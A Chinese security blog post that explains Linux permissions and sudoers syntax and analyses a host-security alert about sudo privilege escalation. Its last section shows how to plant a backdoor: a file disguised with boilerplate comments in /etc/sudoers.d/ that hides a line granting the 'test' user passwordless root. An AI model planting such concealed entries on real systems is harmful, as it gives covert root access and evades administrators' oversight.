声明:请勿利用本公众号文章内的相关技术、工具从事非法测试,如因此造成一切不良后果与文章作者及本公众号无关! |
在工作中青藤云收到下图所示的告警,奇怪的是运维登录服务器都会执行命令:sudo -i 或者 sudo su - 来切换到 root 用户进行操作,为啥这里突然告警了?为啥就今天告警?带着疑问顺便了解了下sudo这玩意。
0x01,linux文件权限说明
在Linux系统中,文件权限是通过一串字符来表示的,通常是由10个字符组成的字符串。这串字符包括文件类型和9个权限位。
文件类型位
-
-:普通文件 -
d:目录 -
l:符号链接 -
c:字符设备文件 -
b:块设备文件 -
s:套接字文件 -
p:管道文件
权限位
-
r:读权限 -
w:写权限 -
x:执行权限 -
-:无权限
示例
-rwxr-xr-- 1 user group 1024 Oct 10 12:00 file.txt
这串字符可以解读为:-
文件类型:普通文件( -
) -
所有者权限:读、写、执行( rwx
) -
文件所属组权限:读、执行( r-x
) -
其他用户权限:只读( r--
) -
文件所有者:user -
文件所属组:group
0x02,详细介绍sudo命令和sudoes配置文件
一般管理aws ec2服务器是先登录一个普通用户(默认是ec2-user),然后执行sudo -i 命令切换到root身份,如下图:
这里思考两个问题?
-
为什么普通用户执行 sudo -i 可以切换到root身份,并且不需要密码验证?
-
sudo -i 和 sudo cat /etc/shadow 这两个命令的区别?
什么是sudo?
sudo (Superuser Do)是一个常用的Linux命令,用于以超级用户(root用户)的权限来执行特定命令或访问特定文件。通过 sudo,系统管理员可以将 root 权限分发给特定的用户或组,从而提高系统的安全性。
如下图所示,低权限用户xxoo无权查看shadow文件,并且默认情况下也无法通过sudo提权去查看,当配置sudoers之后(sudo的配置文件:/etc/sudoers),就可以正常查看了,这个就是sudo命令的作用。
sudo命令的安全意义在于当需要使用root权限时,可以通过sudo来达到目的,而不是长期持有root权限,减少了潜在的系统安全风险。
sudoers配置基本语法
user host=(runas) command
#例如
# allow xxoo to run all commands
xxoo ALL=(ALL) ALL
-
user:指定哪些用户可以执行特定的命令(可以是user或者group)
-
host:指定在哪个主机上可以执行命令。通常为 ALL,表示适用于所有主机。
-
runas:指定以哪个用户的身份来执行命令。通常为 ALL,表示可以以任何用户的身份执行。
-
command:指定可以执行的命令。通常为 ALL,表示可以执行任何命令。
-
NOPASSWD
:允许用户无需输入密码即可执行命令。 -
PASSWD
:要求用户输入密码才能执行命令。 -
NOEXEC
:禁止用户在sudo
命令中使用!
运算符。 -
SETENV
:允许用户设置环境变量以影响命令的执行。 -
LOG_INPUT
:记录用户输入。 -
LOG_OUTPUT
:记录命令输出。 -
LOG_BOTH
:同时记录输入和输出。
Demo1:允许xxoo不需要密码以任意身份执行任何命令
# allow xxoo to run all commands
xxoo ALL=(ALL) NOPASSWD: ALL
可以看到执行 sudo cat /etc/shadow 并未校验 xxoo 用户的密码。
Demo2:允许xxoo以root身份执行仅cat /etc/shadow命令
# allow xxoo to run all commands
xxoo ALL=(root) /bin/cat /etc/shadow
Demo3:允许xxoo在特定主机上以任意身份执行任何命令
# allow xxoo to run all commands
xxoo 192.168.220.232=(ALL) ALL
这样看来,通过sudoers配置文件可以对普通用户提权执行命令可以做很细粒度的控制。
0x03,青藤云的本地提权告警分析
sudo -i 命令的含义
回到前面的问题,为啥在aws ec2上执行sudo -i 可以免密切换到root身份?
-
-u <user>
:指定要切换到的目标用户。 -
-l
:列出当前用户可以执行的命令。 -
-v
:更新sudo
的时间戳,以避免在一段时间内重新输入密码。 -
-k
:使sudo
会话失效,强制用户在下次使用sudo
时重新验证身份。 -
-i
:以 root 用户的环境变量启动一个 shell。默认是切换到 root 用户。 -
-s
:以指定用户的 shell 来执行命令,而不是切换到该用户的 shell。 -
-H
:将环境变量中的HOME
变量设置为目标用户的家目录。 -
-n
:在sudo
命令中,不要求输入密码,而是直接返回一个错误。 -
-b
:在后台运行sudo
命令,不会阻塞 shell。 -
-C <file>
:指定一个文件,其中包含要执行的命令。
查一下aws ec2的用户ec2-user的sudo配置就知道了,一个是配置了NOPASSWD,另外 -i 参数默认就是切换到root用户并且启动一个新的shell。
# 列出当前用户可以执行的命令
sudo -l
如果要切换到指定用户,可以通过 -u 参数:
# sudo切换到指定用户:
sudo -i -u nvyao
什么情况下执行sudo -i 会发生提权行为
回过来再看青藤的告警:
首先告警的进程树是,注意其中的sudo(bin)
systemd(root) → sshd(root) → sshd(root) → sshd(ec2-user) → bash(ec2-user) → sudo(bin) → bash(root)
其次,一般 linux系统的 /usr/bin/sudo 文件的权限码是:
---s--x--x
这里的s的含义是:
文件权限设置了 SetUID(Set User ID)位意味着该文件在执行时会以文件所有者的权限来执行,而不是以执行者的权限来执行。
结合以上两点,当运维登录这一台主机后,执行sudo -i 是这么个过程:
-
登录aws主机默认是ec2-user用户
-
执行sudo -i 命令(sudo文件归属bin用户,而非root用户)
-
如果sudo文件归属root用户:执行sudo -i 默认以 root 用户的环境变量启动一个 shell
-
如果sudo文件归属非root用户:执行sudo -i 默认以 root 用户的环境变量启动一个 shell,这个时候就发生了本地提权
通过sudo留后门
知道了sudo及sudoers配置文件后,我们可以通过sudo来留一个后门,例如:
1)假如我们知道所有服务器都会有一个test的普通账号
2)在/etc/sudoers.d/文件夹下创建一个人一文件,比如README,在其中插入一行:
# 只要文件写的大一点,没人会去检查这个文件内容的
# The default /etc/sudoers file created on installation of the
# sudo package now includes the directive:
#
# @includedir /etc/sudoers.d
#
# This will cause sudo to read and parse any files in the /etc/sudoers.d
# directory that do not end in '~' or contain a '.' character.
#
# Note that there must be at least one file in the sudoers.d directory (this
# one will do).
#
# Note also, that because sudoers contents can vary widely, no attempt is
# made to add this directive to existing sudoers files on upgrade. Feel free
# to add the above directive to the end of your /etc/sudoers file to enable
# this functionality for existing installations if you wish! Sudo
# versions older than the one in Debian 11 (bullseye) require the
# directive will only support the old syntax #includedir, and the current
# sudo will happily accept both @includedir and #includedir
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo and sudoers for more information.
#
test ALL = NOPASSWD: ALL
# Finally, please note that using the visudo command is the recommended way
# # to update sudoers content, since it protects against many failure modes.
# # See the man page for visudo and sudoers for more information.
# #
3)只要test用户存在,拿到test用户权限后,就可以通过sudo -i提权到root
大致就是如此吧~,浅浅的一篇总结
原文始发于微信公众号(安全随笔):解惑sudo命令
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论